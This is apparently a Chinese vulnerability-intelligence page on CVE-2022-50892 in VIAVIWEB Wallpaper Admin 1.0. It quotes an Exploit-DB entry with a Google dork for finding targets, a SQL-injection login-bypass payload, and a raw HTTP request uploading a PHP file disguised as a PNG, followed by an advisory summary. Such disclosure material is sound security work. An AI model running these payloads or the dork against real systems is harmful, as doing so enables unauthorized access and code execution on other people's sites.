一、 漏洞 CVE-2022-50892 基础信息

                                        # VIAVIWEB 壁纸管理SQL注入漏洞

N/A
                                        

二、漏洞 CVE-2022-50892 的公开POC

三、漏洞 CVE-2022-50892 的情报信息

• https://www.viaviweb.comproduct

• 标题： VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities - PHP webapps Exploit -- 🔗来源链接

  标签：exploit

  神龙速读：

                                          ## 关键漏洞信息
  
  - **EDB-ID:** 51033
  - **CVE:** N/A
  - **Author:** EDD13MORA
  - **Type:** WEBAPPS
  - **Platform:** PHP
  - **Date:** 2023-03-22
  - **Vulnerable App:** VIAVIWEB Wallpaper Admin 1.0
  
  ## 漏洞详情
  
  - **Exploit Title:** VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities
  - **Google Dork:** intext:"Wallpaper Admin" "LOGIN" "password" "Username"
  - **Date:** 18/09/2022
  - **Exploit Author:** Edd13Mora
  - **Vendor Homepage:** www.viaviweb.com
  - **Version:** N/A
  - **Tested on:** Windows 11 - Kali Linux
  
  ### 漏洞描述
  
  - **SQL Injection on the Login Page**
    - `payload --> admin' or 1=1-- -`
  
  ### Proof of Concept (POC)
  
  ```http
  POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2
  Host: http://googlezik.freehostia.com
  Cookie: _octo=GH1.1.993736861.1663458698; PHPSESSID=qh3c29sbjr009jd8oraed4o52
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=--------------------------33893919268150571572221367848
  Content-Length: 467
  Origin: http://googlezik.freehostia.com
  Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  Te: trailers
  
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="category_id"
  
  1
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="image[]"; filename="poc.php"
  Content-Type: image/png
  
  <?php phpinfo(); ?>
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="submit"
  
  --------------------------33893919268150571572221367848--
  ```
  
  ### 上传文件位置
  
  - `http://localhost/PAth-Where-Script-Installed/categories/`
                                          

  

• 标题： VIAVIWEB Wallpaper Admin 1.0 - SQL Injection via Login Page | Advisories | VulnCheck -- 🔗来源链接

  标签：third-party-advisory

  神龙速读：

                                          - **Severity**: High
  - **Date**: January 13, 2026
  - **Affecting**: VIAVIWEB Wallpaper Admin 1.0
  - **CVE**: CVE-2022-50892
  - **CWE**: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL injection')
  - **CVSSv3**: 9.1 (AV:N/AC:L/PR:N/UI:N/SC:H/CI:H/IA:H)
  - **References**: 
    - [ExploitDB-51033](#)
    - [Vendor Homepage](#)
  - **Credit**: [Edd13Mora]
  - **Description**: VIAVIWEB Wallpaper Admin 1.0 contains a SQL injection vulnerability that allows attackers to bypass authentication by manipulating login credentials. Attackers can exploit the login page by injecting 'admin' or 1=1-- - payload to gain unauthorized access to the administrative interface.
                                          

  
• https://nvd.nist.gov/vuln/detail/CVE-2022-50892

四、漏洞 CVE-2022-50892 的评论